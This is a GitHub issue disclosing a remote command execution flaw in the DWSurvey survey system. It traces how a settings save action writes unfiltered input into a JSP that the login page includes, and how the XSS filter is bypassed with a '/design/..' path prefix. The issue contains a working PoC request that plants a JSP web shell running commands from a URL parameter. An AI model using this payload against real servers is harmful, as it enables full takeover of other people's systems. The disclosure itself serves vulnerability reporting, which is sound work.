wkeyuan / DWSurvey

Survey System. 最好用的开源问卷调查系统、表单系统。
http://www.diaowen.net
GNU Affero General Public License v3.0
2.64k stars 762 forks source link

There is a remote command execution vulnerability #81

Open lavon321 opened 3 years ago

lavon321 commented 3 years ago

The save method in the com/key/dwsurvey/action/sysuser/SysPropertyAction.java file directly accepts the parameters passed from the client and writes them into the specified configuration file, which is directly included in login.jsp, resulting in rce

A file write operation was performed on the specified file in the writeData method image In the save method, the writeData method is invoked to write the admin-info.jsp, and the adminInfo variable comes from the assignment at the beginning of the Sava method. image image image The xssEncode method of the XssHttpWrapper class filters the request parameters by judging whether the URI contains'/design' image You can see that it is mainly Chinese substitution for special characters image Since it is determined whether to call the filter function by judging whether the URI contains ’/design’, it can be bypassed by adding /design/.. in front of the path Finally, it is found in login.jsp that the file is included image

Poc:

POST /design/../diaowen/sy/system/sys-property!save.action HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=0AA5C18932951B566BBAC5514EA7752C
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 186

adminTelephone=%3c%25Runtime.getRuntime().exec(request.getParameter("i"));%25%3e&adminEmail=dfsdds&adminTelephone=dsfsdfs

visit http://localhost:8888/diaowen/?i=calc , success rce: image

en0th commented 1 year ago

很有意思,这个是哪个版本存在的漏洞?

easyandeasy commented 1 year ago

.....